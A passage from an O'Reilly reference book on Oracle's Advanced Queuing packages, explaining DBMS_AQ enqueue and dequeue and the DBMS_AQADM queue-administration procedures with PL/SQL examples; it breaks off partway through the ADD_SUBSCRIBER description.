   (queue_name IN VARCHAR2,
    enqueue_options IN DBMS_AQ.ENQUEUE_OPTIONS_T,
    message_properties IN DBMS_AQ.MESSAGE_PROPERTIES_T,
    payload IN <type_name>,
    msgid OUT RAW);

Parameters are summarized in the following table.

Name | Description
queue_name | Specifies the name of the queue to which this message should be enqueued. The queue cannot be an exception queue and must have been previously defined by a call to DBMS_AQADM.CREATE_QUEUE.
enqueue_options | A record containing the enqueuing options, defined using the specified record type. See Section 5.3.7, "Enqueue Options Record Type"" for more details.
message_properties | A record containing the message properties, defined using the specified record type. See Section 5.3.6, "Message Properties Record Type"" for more details.
payload | The data or payload that is placed on the queue. This is either an object (an instance of an object type), a RAW value, or NULL. The payload must match the specification in the associated queue table. This value is not interpreted by Oracle AQ, so any object type can be passed into the procedure.
msgid | This is the ID number of the message generated by AQ. It is a globally unique identifier that can be used to identify the message at dequeue time. In other words, you can specifically request that the message with this message ID be dequeued next.

5.4.1.2 Examples

The Section 5.7 section at the end of this chapter offers many different illustrations of using DBMS_AQ.ENQUEUE to send messages through a queue. In this section, I offer some initial examples to get you familiar with the kind of code you would write when enqueuing messages. In all these cases, assume that I have defined an object type as follows:

CREATE TYPE message_type AS OBJECT
   (title VARCHAR2(30),
    text VARCHAR2(2000));

My AQ administrator created a queue table and a message queue as follows:

EXEC DBMS_AQADM.CREATE_QUEUE_TABLE
   (queue_table => 'msg',
    queue_payload_type => 'message_type');

EXEC DBMS_AQADM.CREATE_QUEUE
   (queue_name => 'msgqueue',
    queue_table => 'msg');

EXEC DBMS_AQADM.START_QUEUE (queue_name => 'msgqueue');

So now I can enqueue a message to this queue as follows:

/* Filename on companion disk: aqenq1.sql */*
DECLARE
   queueopts DBMS_AQ.ENQUEUE_OPTIONS_T;
   msgprops DBMS_AQ.MESSAGE_PROPERTIES_T;
   msgid RAW(16);
   my_msg message_type;
BEGIN
   my_msg := message_type ('First Enqueue', 'May there be many more...');

   DBMS_AQ.ENQUEUE ('msgqueue',
      queueopts,
      msgprops,
      my_msg,
      msgid);
END;
/

This is the simplest usage possible of DBMS_AQ.ENQUEUE. I declare my two record structures, because I must pass them in as arguments. I do not, however, modify any of the values in the fields; all have the default values documented in the Section 5.3, "Oracle AQ Nonprogram Elements"" section for the message properties record type.

As you can see, the message ID is a RAW of length 16. Rather than hard-coding that declaration again and again in your application, I suggest that you instead declare a subtype that hides that information. My aq package (aq.spp), for example, offers this predefined type:

v_msgid RAW(16);
SUBTYPE msgid_type IS v_msgid%TYPE;

So when you want to declare a variable to store AQ message IDs, you can do the following:

DECLARE
   mymsgid aq.msgid_type;

Are you curious about those message IDs? When I ran the previous script, I also asked PL/SQL to display the msgid value with the following statement,

DBMS_OUTPUT.PUT_LINE (RAWTOHEX (msgid));

and this is what I saw:

E2CEA14B51F411D1B977E59CD6EE8E46

That is certainly a mouthful. When would you use this ID? Well, I can go right back to the data dictionary and ask to see all the information about this message. Every time you create a queue table, Oracle AQ creates an underlying database view with the name aq$<queue_table_name>. So if I created a queue table named "msg," I should be able to examine the contents of a table called aq$msg in my own schema.

I put together a little SQL*Plus script to show the status and user data for a message:

/* Filename on companion disk: aqshomsg.sql */*
SELECT msg_state, user_data
  FROM aq$&1
 WHERE msg_id = HEXTORAW ('&2');

I can then call this script in SQL*Plus to show me the information about the just-queued message as follows:

SQL> @aqshomsg msg E2CEA14B51F411D1B977E59CD6EE8E46

MSG_STATE USER_DATA(TITLE, TEXT)
--------- ------------------------------------------------------------------
READY     MESSAGE_TYPE('First Enqueue', 'May there be many more...')

Notice that the query automatically detected the fact that my user_data is in fact an object, and showed me the full contents of that object quite neatly. You can, of course, also see other attributes of the message; see the later section entitled Section 5.6 for more details on this table and how best to retrieve information from it.

Of course, you will sometimes want to modify the message properties or enqueue options before performing your enqueue. To do this, simply change the values of the fields in the record. The following example shows how you can delay the availability of a message for dequeuing by three days and also request that one message be dequeued before another:

/* Filename on companion disk: aqenq2.sql */*
DECLARE
   queueopts DBMS_AQ.ENQUEUE_OPTIONS_T;
   msgprops DBMS_AQ.MESSAGE_PROPERTIES_T;
   msgid1 aq.msgid_type;
   msgid2 aq.msgid_type;
   my_msg message_type;
BEGIN
   my_msg := message_type ('First Enqueue', 'May there be many more...');

   /* Delay first message by three days, but otherwise rely on defaults. */

   msgprops.delay := 3 * 60 * 60  * 24;

   DBMS_AQ.ENQUEUE ('msgqueue', queueopts, msgprops, my_msg, msgid1);

   /* Now use the same properties record, but modify the enqueue options
      to deviate from the normal sequence. */

   my_msg := message_type ('Second Enqueue', 'And this one goes first...');

   queueopts.sequence_deviation := DBMS_AQ.BEFORE;
   queueopts.relative_msgid := msgid1;

   DBMS_AQ.ENQUEUE ('msgqueue', queueopts, msgprops, my_msg, msgid2);
END;
/

5.4.2 Dequeuing Messages

Once you have placed a message on a queue, you need to extract that message from the queue. This is done with the DEQUEUE procedure.

5.4.2.1 The DBMS_AQ.DEQUEUE procedure

Use the DEQUEUE procedure to extract a message from a particular queue. Here's the header for this procedure:

PROCEDURE DBMS_AQ.DEQUEUE
   (queue_name IN VARCHAR2,
    dequeue_options IN DBMS_AQ.DEQUEUE_OPTIONS_T,
    message_properties OUT DBMS_AQ.MESSAGE_PROPERTIES_T,
    payload OUT <type_name>,
    msgid OUT RAW)

Parameters are summarized in the following table.

Name | Description
queue_name | Name of the queue from which the message should be dequeued. The queue cannot be an exception queue and must have been previously defined by a call to DBMS_AQADM.CREATE_QUEUE.
dequeue_options | Record containing the dequeuing options, defined using the specified record type. See Section 5.3.8, "Dequeue Options Record Type"" for more details.
message_properties | Record containing the message properties supplied when the message was enqueued. See Section 5.3.6" for more details.
payload | Data or "payload" that is associated with this message on the queue. This is an object (an instance of an object type), a RAW value, or NULL. The payload must match the specification in the associated queue table.
msgid | ID number of the message generated by AQ.

5.4.2.2 Examples

The Section 5.7" section at the end of this chapter offers many different illustrations of using DBMS_AQ.DEQUEUE to retrieve messages from a queue. In the remainder of this section, though, I offer some examples to get you familiar with the kind of code you would write when dequeuing messages. In all of these cases, assume that I have defined an object type as follows:

CREATE TYPE message_type AS OBJECT
   (title VARCHAR2(30),
    text VARCHAR2(2000));

Assume further that my AQ administrator has created a queue table and a message queue as follows:

EXEC DBMS_AQADM.CREATE_QUEUE_TABLE
   (queue_table => 'msg',
    queue_payload_type => 'message_type');

EXEC DBMS_AQADM.CREATE_QUEUE
   (queue_name => 'msgqueue',
    queue_table => 'msg');

EXEC DBMS_AQADM.START_QUEUE (queue_name => 'msgqueue');

Now I can dequeue a message that has previously been placed in this queue as follows:

/* Filename on companion disk: aqdeq1.sql */*
DECLARE
   queueopts DBMS_AQ.DEQUEUE_OPTIONS_T;
   msgprops DBMS_AQ.MESSAGE_PROPERTIES_T;
   msgid aq.msgid_type; /* defined in aq.spp */
   my_msg message_type;
BEGIN
   DBMS_AQ.DEQUEUE ('msgqueue',
      queueopts,
      msgprops,
      my_msg,
      msgid);

   /* Now display some of the information. */
   DBMS_OUTPUT.PUT_LINE ('Dequeued message id is ' || RAWTOHEX (msgid));
   DBMS_OUTPUT.PUT_LINE ('Dequeued title is ' || my_msg.title);
   DBMS_OUTPUT.PUT_LINE ('Dequeued text is ' || my_msg.text);
END;
/

Here is an example of output from this script:

SQL> @aqdeq1
Dequeued message id is E2CEA14C51F411D1B977E59CD6EE8E46
Dequeued title is First Enqueue
Dequeued text is May there be many more...

This is the simplest possible usage of DBMS_AQ.DEQUEUE. I declare my two record structures, because I must pass them in as arguments. However, I do not modify any of the values in the fields; all have the default values documented in the Section 5.3" section for the message properties record type.

You can also modify the dequeue properties to change the behavior of the dequeue operation. The full set of options is explained in the Section 5.3.8" section under Section 5.3." The following script demonstrates how you can request that messages not be removed from the queue after they are dequeued. You would do this when you want to search through a queue for a specific message, leaving all the others in place.

The following script dequeues a message once in BROWSE mode, then dequeues the same message in the default REMOVE mode, and then dequeues with REMOVE again:

/* Filename on companion disk: aqdeq2.sql */*
DECLARE
   queueopts DBMS_AQ.DEQUEUE_OPTIONS_T;
   msgprops DBMS_AQ.MESSAGE_PROPERTIES_T;
   msgid aq.msgid_type; /* defined in aq.spp */
   my_msg message_type;

   /* A nested procedure to minimize code redundancy! */
   PROCEDURE getmsg (mode_in IN INTEGER)
   IS
   BEGIN
      queueopts.dequeue_mode := mode_in;

      DBMS_AQ.DEQUEUE ('msgqueue', queueopts, msgprops, my_msg, msgid);

      /* Now display some of the information. */
      DBMS_OUTPUT.PUT_LINE ('Dequeued msg id is ' || RAWTOHEX (msgid));
      DBMS_OUTPUT.PUT_LINE ('Dequeued title is ' || my_msg.title);
   END;
BEGIN
   /* Request browse, not remove, for dequeue operation. */
   getmsg (DBMS_AQ.BROWSE);

   /* Do the same thing again, this time with remove. You will dequeue
      the same entry as before. */
   getmsg (DBMS_AQ.REMOVE);

   /* Dequeue a third time, again with remove, and notice the different
      message ID. The previous message was, in fact, removed. */
   getmsg (DBMS_AQ.REMOVE);
END;
/

Here is the output from running the aqdeq2.sql script:

SQL> @aqdeq2
Dequeued msg id is E2CEA15251F411D1B977E59CD6EE8E46
Dequeued title is TWO EGGS OVER MEDIUM
Dequeued msg id is E2CEA15251F411D1B977E59CD6EE8E46
Dequeued title is TWO EGGS OVER MEDIUM
Dequeued msg id is E2CEA15351F411D1B977E59CD6EE8E46
Dequeued title is TWO EGGS OVER EASY

5.4.2.3 Dequeue search criteria

When you request a dequeue operation, you can specify search criteria. These criteria are used to determine which message is dequeued. The search criteria are established by the following fields in the dequeue options record: consumer_name, msgid, and correlation.

  • If you specify a message ID in the dequeue options record, the message with that ID will be dequeued, regardless of its place in the queue.

  • If you specify a correlation value, only those messages that have a correlation value matching the one you specify will be candidates for dequeuing. A match can be specified as an exact match or a pattern match.

  • If you provide a value for the consumer_name field, only those messages that were enqueued for that consumer (a subscriber either to the queue as a whole or specified in the recipient list at enqueue time) are considered for dequeuing.

The Section 5.7" section shows you the kind of code you need to write to support these different kinds of search criteria.

5.4.2.4 Dequeue order

The order in which messages are generally dequeued is determined by the characteristics of the queue table, established at the time of creation. For example, you can define a queue table in which the messages are ordered by the priority associated with the message.

You can override the default order by specifying the message ID or a correlation value in the dequeue options record. Remember that a message must be in the READY state to be dequeued -- unless you specify the message ID explicitly. When you use that ID, you override any other search criteria and restrictions.

Here is an example of dequeuing a message from the msg queue by specifying a message ID number (passed in as an argument to the procedure):

/* Filename on companion disk: aqdeq3.sql */*
CREATE OR REPLACE PROCEDURE getmsg (msgid_in IN RAW)
IS
   queueopts DBMS_AQ.DEQUEUE_OPTIONS_T;
   msgprops DBMS_AQ.MESSAGE_PROPERTIES_T;
   msgid aq.msgid_type; /* defined in aq.spp */
   my_msg message_type;
BEGIN
   queueopts.msgid := msgid_in;

   DBMS_AQ.DEQUEUE ('msgqueue',
      queueopts, msgprops, my_msg, msgid);

   /* Now display some of the information. */
   DBMS_OUTPUT.PUT_LINE
      ('Requested message id is ' || RAWTOHEX (msgid_in));
   DBMS_OUTPUT.PUT_LINE
      ('Dequeued message id is  ' || RAWTOHEX (msgid));
   DBMS_OUTPUT.PUT_LINE ('Dequeued title is ' || my_msg.title);
END;
/

Here is an example of using this procedure:

/* Filename on companion disk: aqdeq4.sql */*
DECLARE
   enqueue_opts DBMS_AQ.ENQUEUE_OPTIONS_T;
   dequeue_opts DBMS_AQ.DEQUEUE_OPTIONS_T;
   msgprops DBMS_AQ.MESSAGE_PROPERTIES_T;
   msgid1 aq.msgid_type;
   msgid2 aq.msgid_type;
   my_msg message_type;
BEGIN
   /* Enqueue two messages */

   my_msg := message_type
      ('Joy of Cooking', 'Classic Recipes for Oral Delight');
   DBMS_AQ.ENQUEUE ('msgqueue', enqueue_opts, msgprops, my_msg, msgid1);

   my_msg := message_type ('Joy of Sex', 'Classic Recipes for Delight');
   DBMS_AQ.ENQUEUE ('msgqueue', enqueue_opts, msgprops, my_msg, msgid2);

   /* Now dequeue the first by its message ID explicitly. */
   getmsg (msgid1);
END;
/

And the results from executing aqdeq4.sql:

SQL> @aqdeq4
Requested message id is E2CEA16351F411D1B977E59CD6EE8E46
Dequeued message id is  E2CEA16351F411D1B977E59CD6EE8E46
Dequeued title is Joy of Cooking

5.4.2.5 Dequeue navigation

You specify the navigation method by setting a value in the navigation field of the dequeue options record.

The default navigation through a queue for dequeuing is "next message." This means that each subsequent dequeue retrieves messages from the queue based on the snapshot or view of the queue as it appeared when the first dequeue was performed. This approach offers a read consistency model similar to that of the Oracle RDBMS. For example, if you enqueue a message after you have issued a dequeue command, that message will not be dequeued (or even checked for availability for dequeuing) until all messages already in the queue have been processed.

Specifying DBMS_AQ.NEXT_MESSAGE for message navigation (the default) is often sufficient for dequeue operations. If either of the following conditions occur, however, you may need to change the navigation:

  • You enqueue messages after dequeues have occurred, and you want those newly enqueued messages to be immediately considered for a dequeue.

  • You have a nondefault (i.e., priority-based) ordering in your queue. In this case, if a higher-priority message enters the queue at any time, you want to consider that message for dequeuing immediately.

In either of these situations you should set the navigation method as follows:

DECLARE
   queueopts DBMS_AQ.DEQUEUE_OPTIONS_T;
BEGIN
   queueopts.navigation := DBMS_AQ.FIRST_MESSAGE;

When you use "first message" navigation, you tell Oracle AQ that you want it to consider the entire set of messages in the queue for every dequeue command. Internally, this means that AQ will create a new "snapshot" view of the queue whenever you request a dequeue.

You will find many illustrations of the use of "first message" navigation in the Section 5.7" section.

5.4.2.6 Dequeuing with message grouping

When you create a queue table specifying DBMS_AQADM.TRANSACTIONAL for the message_ grouping argument, any messages enqueued in the same transaction are considered part of a group of messages. This group may consist of only one message; there is also no upper limit on the number of messages allowed in a group.

When you work with queues that are not enabled for message grouping, a dequeue operation that specified LOCKED or REMOVE mode will only affect a single message. In a message grouping queue, on the other hand, a dequeue operation on one message in a group will lock the entire group. This allows you to treat all the messages in a group as a single unit or transaction.

When you are dequeuing against a message group, keep the following rules in mind:

  • When you dequeue the last message in the current message group, Oracle AQ will raise the ORA-25235 exception.

  • When you dequeue the last message in a message group, you must specify NEXT_TRANSACTION navigation in a dequeue options record in order to start dequeuing messages from the next available group.

  • If there aren't any more message groups available in the queue, then the dequeue operation will time out after the period of time specified in the WAIT field of the dequeue options record.

Previous: 5.3 Oracle AQ Nonprogram Elements | Oracle Built-in Packages | Next: 5.5 DBMS_AQADM: Performing AQ Administrative Tasks (Oracle8 only)
5.3 Oracle AQ Nonprogram Elements | Book Index | 5.5 DBMS_AQADM: Performing AQ Administrative Tasks (Oracle8 only)
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 5] 5.5 DBMS_AQADM: Performing AQ Administrative Tasks (Oracle8 only)

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book

5.5 DBMS_AQADM: Performing AQ Administrative Tasks (Oracle8 only)

Before AQ users can enqueue and dequeue, they must have queues with which to work. The AQ administrator must create queue tables and queues within those tables and then start the queues. Additional administrative tasks include stopping queues and removing queue tables, managing lists of subscribers, and starting and stopping the Queue Monitor.

The DBMS_AQADM package provides an interface to the administrative tasks of Oracle AQ. The DBMS_AQADM programs are listed in Table 5.2. In order to use these procedures, a DBMS_AQADM user must have been granted the role AQ_ADMINISTRATOR_ROLE from the SYS account.

NOTE: None of the DBMS_AQADM programs may be used inside SQL, directly or indirectly. The reason for this restriction is that many of these programs perform a COMMIT (unless you have set the auto_commit parameter to FALSE).

Table 5.2: DBMS_AQADM Programs
Name | Description | Use in SQL?
ADD_SUBSCRIBER | Adds a subscriber to a queue. | No
ALTER_QUEUE | Alters limited set of properties of an existing queue. | No
CREATE_QUEUE | Creates a queue within the specified queue table. | No
CREATE_QUEUE_TABLE | Creates a queue table in which queues can be defined. | No
DROP_QUEUE | Drops an existing queue table. | No
DROP_QUEUE_TABLE | Drops an existing queue from a queue table. | No
GRANT_TYPE_ACCESS | Grants access to multiple consumer tasks. | No
QUEUE_SUBSCRIBERS | Retrieves the list of subscribers associated with a queue. | No
REMOVE_SUBSCRIBER | Removes a subscriber from a queue. | No
SCHEDULE_PROPAGATION | Schedules propagation of messages from a source queue to a destination queue (either in the same or a remote database). | No
START_QUEUE | Enables the queue (i.e., permits enqueue and/or dequeue operations). | No
START_TIME_MANAGER | Starts the Queue Monitor process. | No
STOP_QUEUE | Disables the queue for enqueuing, dequeuing, or both. | No
STOP_TIME_MANAGER | Stops the Queue Monitor process. | No
UNSCHEDULE_PROPAGATION | Unschedules the propagation of messages from a source queue to a destination queue. | No
VERIFY_QUEUE_TYPES | Determines whether two different queues have the same payload type. You can perform this verification for two local queues or for a local and a remote queue. | No

The following sections describe these programs in a number of categories.

5.5.1 Creating Queue Tables

First, you need to create your queue tables and grant the necessary capabilities.

5.5.1.1 The DBMS_AQADM.GRANT_TYPE_ACCESS procedure

If you would like to support multiple consumers with your queue (that is, so that the same or different messages can be dequeued by more than one agent), call the GRANT_TYPE_ACCESS program to grant that capability,

PROCEDURE DBMS_AQADM.GRANT_TYPE_ACCESS (user_name IN VARCHAR2);

where user_name is the name of the user who needs to perform multiple consumer queue activities.

The SYS account must call this procedure to grant the privilege to the AQ administrator. The AQ administrator then runs this program to grant the privilege to AQ users. Here is an example of granting multiple consumer capabilities to the SCOTT account:

SQL> exec DBMS_AQADM.GRANT_TYPE_ACCESS ('scott');

5.5.1.2 The DBMS_AQADM.CREATE_QUEUE_TABLE procedure

The CREATE_QUEUE_TABLE procedure creates a queue table. A queue table is the named repository for a set of queues and their messages. A queue table may contain numerous queues, each of which may have many messages. But a given queue and its messages may exist in only one queue table. The specification for the procedure follows:

PROCEDURE DBMS_AQADM.CREATE_QUEUE_TABLE
    (queue_table IN VARCHAR2
    ,queue_payload_type IN VARCHAR2
    ,storage_clause IN VARCHAR2 DEFAULT NULL
    ,sort_list IN VARCHAR2 DEFAULT NULL
    ,multiple_consumers IN BOOLEAN DEFAULT FALSE
    ,message_grouping IN BINARY_INTEGER DEFAULT NONE
    ,comment IN VARCHAR2 DEFAULT NULL
    ,auto_commit IN BOOLEAN DEFAULT TRUE);

Parameters are summarized in the following table.

Name

Description

queue_table

Name of a queue table to be created. Maximum of 24 characters in length, unless you have combined the schema and the table name, as in `SCOTT.MSG_TABLE', in which case the maximum length of the argument is 49 characters.

queue_payload_type

Type of the user data stored. This is either the name of an already defined object type or it is the string "RAW," indicating that the payload for this queue table will consist of a single LOB column.

storage_clause

Storage parameter, which will be included in the CREATE TABLE statement when the queue table is created. The storage parameter can be made up of any combination of the following parameters: PCTFREE, PCTUSED, INITRANS, MAXTRANS, TABLEPSACE, LOB, and a table storage clause. Refer to the Oracle SQL Reference Guide for more information about defining a storage parameter.

sort_list

Columns to be used as the sort key in ascending order; see the following discussion.

multiple_consumers

Specifies whether queues created in this table can have more than one consumer per message. The default is FALSE (only one consumer per message). If a value of TRUE is passed for this argument, the user must have been granted type access by executing the DBMS_AQADM.GRANT_TYPE_ACCESS procedure.

message_grouping

Message grouping behavior for queues created in the table. Valid arguments for this parameter:

DBMS_AQADM.NONE

Each message is treated individually (this is the default).

DBMS_AQADM.TRANSACTIONAL

Messages enqueued as part of one transaction are considered part of the same group and must be dequeued as a group of related messages.

comment

User-specified description of the queue table. This user comment will be added to the queue catalog.

auto_commit

Specifies the transaction behavior for queues associated with this table. Valid arguments:

TRUE

Causes the current transaction, if any, to commit before the operation is carried out. The operation becomes persistent when the call returns. This is the default.

FALSE

Any administrative operation on a queue is part of the current transaction and will become persistent only when the caller issues a commit. In other words, this argument does not apply to enqueue/dequeue operations performed on the queue.

The sort_list has the following format,

'<sort_column_1>,<sort_column_2>'

where each sort_column_N is either PRIORITY or ENQ_TIME. If both columns are specified, then <sort_column_1> defines the most significant order. In other words, these are the only valid values for sort_list besides NULL:

'PRIORITY'
'PRIORITY,ENQ_TIME'
'ENQ_TIME' (this is the default)
'ENQ_TIME,PRIORITY'

Once a queue table is created with a specific ordering mechanism, all queues in the queue table inherit the same default ordering. This order cannot be altered once the queue table has been created. If no sort list is specified, all the queues in this queue table will be sorted by the enqueue time in ascending order. This order is equivalent to FIFO (first-in-first-out) order.

Even with the default ordering defined, a consumer can override this order by specifying the msgid or correlation value for a specific message. The msgid, correlation, and sequence_deviation take precedence over the default dequeueing order if they are specified.

When you create a queue table, the following objects are created:

  • The default exception queue associated with the queue table. It is named,

        aq$_<queue_table_name>_e

    where <queue_table_name> is the name of the queue table just created. So if my queue table is named msg, then my exception queue table is named aq$_msg_e (and now you can see why the maximum length name for a queue table is 24 characters!).

  • A read-only view that is used by AQ applications for querying queue data called:

         aq$<queue_table_name>.

  • An index for the Queue Monitor operations called:

        aq$_<queue_table_name>_t.

  • An index (or an index organized table [IOT] in the case of multiple consumer queues) for dequeue operations. It is named:

    aq$_<queue_table_name>_i

5.5.1.2.1 Example

In the following example, I construct a basic queue table in the current schema with a comment as to when it was created:

BEGIN
   DBMS_AQADM.CREATE_QUEUE_TABLE
      (queue_table => 'msg',
       queue_payload_type => 'message_type',
       comment => 'General message queue table created on ' ||
          TO_CHAR(SYSDATE,'MON-DD-YYYY HH24:MI:SS'));
END;
/

Notice that I pass the payload type as a string: the name of the object type I defined in the section explaining how to enqueue messages. I can verify the creation of this queue table by querying the USER_QUEUE_TABLES.

SQL> SELECT queue_table, user_comment FROM USER_QUEUE_TABLES;
QUEUETABLE		USER_COMMENT
MSG				General message queue table created on JUN-08-1997 14:22:01

The following request to create a queue table specifies support for multiple consumers of a single message and also enables message grouping:

BEGIN
   DBMS_AQADM.CREATE_QUEUE_TABLE
      (queue_table => 'msg',
       queue_payload_type => 'message_type',
       multiple_consumers => TRUE,
       message_grouping => DBMS_AQADM.TRANSACTIONAL,
       comment => 'Specialized queue table created on ' ||
          TO_CHAR(SYSDATE,'MON-DD-YYYY HH24:MI:SS'));
END;
/

Notice the extensive use of named notation (the "=>" symbols). This feature of PL/SQL comes in very handy when working with programs that have long lists of parameters, or with programs that are used infrequently. The named notation approach, which explicitly associates a parameter with an argument value, documents more clearly how the program is being used.

See the Section 5.7" section for a more thorough explanation of the message grouping and multiple consumers feature.

5.5.1.2.2 Notes on usage

Note the following about using the CREATE_QUEUE_TABLE procedure:

  • If you specify a schema for your queue table, then the payload type (if an object type) must also be defined in that schema.

  • You do not need to specify the schema for the payload type, but you can. If you do specify the object type schema for the payload type, it must be the same schema as that of the queue table or you will receive an ORA-00902: invalid datatype error.

  • If you are going to create your queue tables from one (administrator) account and manage those queues from another (user) account, then you will need to grant EXECUTE privilege to the administrator account on the queue message types from the user account.

5.5.2 Creating and Starting Queues

Once a queue table has been created, you can create and then start individual queues in that queue table.

5.5.2.1 The DBMS_AQADM.CREATE_QUEUE procedure

Call the CREATE_QUEUE to create a queue in the specified queue table. All queue names must be unique within a schema. Once a queue is created, it can be enabled by calling DBMS_AQADM.START_QUEUE. By default, the queue is created with both enqueue and dequeue disabled.

PROCEDURE DBMS_AQADM.CREATE_QUEUE
   (queue_name IN VARCHAR2,
    queue_table IN VARCHAR2,
    queue_type IN BINARY_INTEGER default DBMS_AQADM.NORMAL_QUEUE,
    max_retries IN NUMBER default 0,
    retry_delay IN NUMBER default 0,
    retention_time IN NUMBER default 0,
    dependency_tracking IN BOOLEAN default FALSE,
    comment IN VARCHAR2 default NULL,
    auto_commit IN BOOLEAN default TRUE);

Parameters are summarized in the following table.

Name | Description
queue_name | Name of the queue to be created. All queue names must be unique within a schema.
queue_table | Name of the queue table in which this queue is to be created.
queue_type | Specifies the type of queue. Valid options for this parameter: DBMS_AQADM.NORMAL_QUEUE The default, a normal queue. DBMS_AQADM.EXCEPTION_QUEUE An exception queue. Only dequeue operations are valid on an exception queue.
max_retries | Maximum number of times a dequeue with the REMOVE mode can be attempted on a message. The count is incremented when the application issues a rollback after executing a dequeue (but before a commit is performed). The message is moved to the exception queue when the number of failed attempts reaches its max_retries. Specify 0, the default, to indicate that no retries are allowed.
retry_delay | Delay in seconds to wait after an application rollback before the message is scheduled for processing again. The default of 0 means that the dequeue operation should be retried as soon as possible. The retry parameters in effect allow you to control the fault tolerance of the message queue. This value is ignored if max_retries is set to 0 (the default). This value may not be specified if this is a multiple consumer queue table.
retention_time | Number of seconds for which a message will be retained in the queue table after being dequeued from the queue. The default is 0, meaning no retention. You can also specify the DBMS_AQADM.INFINITE packaged constant to request that the message be retained forever.
dependency_tracking | Reserved for future use by Oracle Corporation. FALSE is the default, and TRUE is not permitted.
comment | User comment to associate with the message queue in the queue catalog.
auto_commit | Specify TRUE (the default) to cause the current transaction, if any, to commit before the operation is carried out. The operation becomes persistent when the call returns. Specify FALSE to make this operation part of the current transaction. In this case, it will become persistent only when the caller issues a commit.

5.5.2.1.1 Example

In the following example, I create a new message queue within the previously created message queue table. I want it to allow for up to ten retries at hourly delays and keep ten days worth of history before deleting processed messages.

BEGIN
  DBMS_AQADM.CREATE_QUEUE(
      queue_name => 'never_give_up_queue',
      queue_table => 'msg',
      max_retries => 10,
      retry_delay => 3600,
      retention_time => 10 * 24 * 60 * 60,
      comment => 'Test Queue Number 1');
END;
/

5.5.2.2 The DBMS_AQADM.START_QUEUE procedure

It is not enough to simply create a queue inside a queue table. You must also enable it for enqueuing and/or dequeuing operation, with the START_QUEUE procedure:

PROCEDURE DBMS_AQADM.START_QUEUE
   (queue_name IN VARCHAR2,
    enqueue IN BOOLEAN DEFAULT TRUE,
    dequeue  IN BOOLEAN DEFAULT TRUE);

Parameters are summarized in the following table.

Name | Description
queue_name | Name of the queue to be started.
enqueue | Flag indicating whether the queue should be enabled for enqueuing (TRUE means enable, the default; FALSE means do not alter the current setting.)
dequeue | Flag indicating whether the queue should be enabled for dequeuing (TRUE means enable, the default; FALSE means do not alter the current setting.)

Notice that a value of FALSE for either of the Boolean parameters does not disable a queue for the respective operation. It simply does not change the current status of that operation on the specified queue. To disable queuing or enqueuing on a queue, you must call the DBMS_AQADM.STOP_QUEUE procedure.

5.5.2.2.1 Example

The following block starts a queue for enqueuing actions only:

BEGIN
VP   DBMS_AQADM.START_QUEUE ('number_stack', dequeue=>FALSE);

END;VPU
/

You will often want to perform the following steps in sequence:

DBMS_AQADMP.CREATE_QUEUE_TABLE
DBMS_AQADM.CREATE_QUEUE
DBMS_AQADM.START_QUEUE

The following files on the companion disk provide various examples of these steps:

aqcrepq.sql
aqcreq.sql
aqcref.sql

5.5.2.3 The DBMS_AQADM.ALTER_QUEUE procedure

The ALTER_QUEUE procedure of the DBMS_AQADM package modifies an existing message queue. An error is returned if the message queue does not exist. The specification for the procedure follows:

PROCEDURE DBMS_AQADM.ALTER_QUEUE
   queue_name IN VARCHAR2,
   max_retries IN NUMBER default NULL,
   retry_delay IN NUMBER default NULL,
   retention_time IN NUMBER default NULL,
   auto_commit IN BOOLEAN default TRUE);

Parameters are summarized in the following table.

Name | Description
queue_name | Name of the message queue to be altered.
max_retries | Specifies the maximum number of times a dequeue with the REMOVE mode can be attempted on a message. The count is incremented when the application issues a rollback after executing a dequeue (but before a commit is performed). The message is moved to the exception queue when the number of failed attempts reach its max_retries. Specify 0, the default, to indicate that no retries are allowed.
retry_delay | Specifies the delay in seconds to wait after an application rollback before the message is scheduled for processing again. The default of 0 means that the dequeue operation should be retried as soon as possible. The retry parameters in effect allow you to control the fault tolerance of the message queue. This value is ignored if max_retries is set to 0 (the default). This value may not be specified if this is a multiple consumer queue table.
retention_time | Specifies the number of seconds for which a message will be retained in the queue table after being dequeued from the queue. The default is 0, meaning no retention. You can also specify the DBMS_AQADM.INFINITE packaged constant to request that the message be retained forever.
auto_commit | Specifies the transaction behavior for queues associated with this table. Specify TRUE (the default) to cause the current transaction, if any, to commit before the operation is carried out. The operation becomes persistent when the call returns. If you specify FALSE, any administrative operation on a queue is part of the current transaction and will become persistent only when the caller issues a commit. In other words, this argument does not apply to enqueue/dequeue operations performed on the queue.

5.5.2.3.1 Example

In the following example, I modify the properties of the queue created under CREATE_QUEUE. I now want it to allow for up to 20 retries at hourly delays and to keep 30 days worth of history before deleting processed messages.

BEGIN
  DBMS_AQADM.ALTER_QUEUE(
      queue_name => 'never_give_up_queue',
      max_retries => 20,
      retention_time => 30 * 24 * 60 * 60);
END;
/

I can verify the impact of this call by querying the USER_QUEUES data dictionary view.

SQL> SELECT name, max_retries, retention FROM USER_QUEUES;

NAME                            MAX_RETRIES        RETENTION
------------------------------     -----------          ----------
AQ$_MSG_E                       0                  0
MSGQUEUE                        0                  0
NEVER_GIVE_UP_QUEUE             20	           2592000

The first line in the listing is the exception queue for the "msg" queue table. The "msgqueue" queue in the "msg" queue table is a previously defined queue. The third line displays the information for the queue modified by the call to DBMS_AQADM.ALTER_QUEUE.

5.5.3 Managing Queue Subscribers

A program can enqueue messages to a specific list of recipients or to the default list of subscribers. A subscriber to a queue is an agent that is registered to dequeue messages from a queue.

You can add and remove subscribers, as well as retrieve the current set of subscribers for a queue. These operations will work only with queues that allow multiple consumers (i.e., the multiple_consumers parameter is set to TRUE when you called DBMS_AQADM.CREATE_QUEUE_TABLE). The command takes effect immediately, and the containing transaction is committed. Enqueue requests executed after the completion of this call will reflect the new behavior. Users attempting to modify the subscriber list of a queue must have been granted type access by executing the DBMS_AQADM.GRANT_TYPE_ACCESS procedure.

5.5.3.1 The DBMS_AQADM.ADD_SUBSCRIBER procedure

To add a subscriber to a queue, call the ADD_SUBSCRIBER procedure:

PROCEDURE DBMS_AQADM.ADD_SUBSCRIBER
   (queue_name IN VARCHAR2, subscriber IN SYS.AQ$_AGENT);

Parameters are summarized in the following table.

Name | Description
queue_table | Name of the queue to which the subscriber is being added.
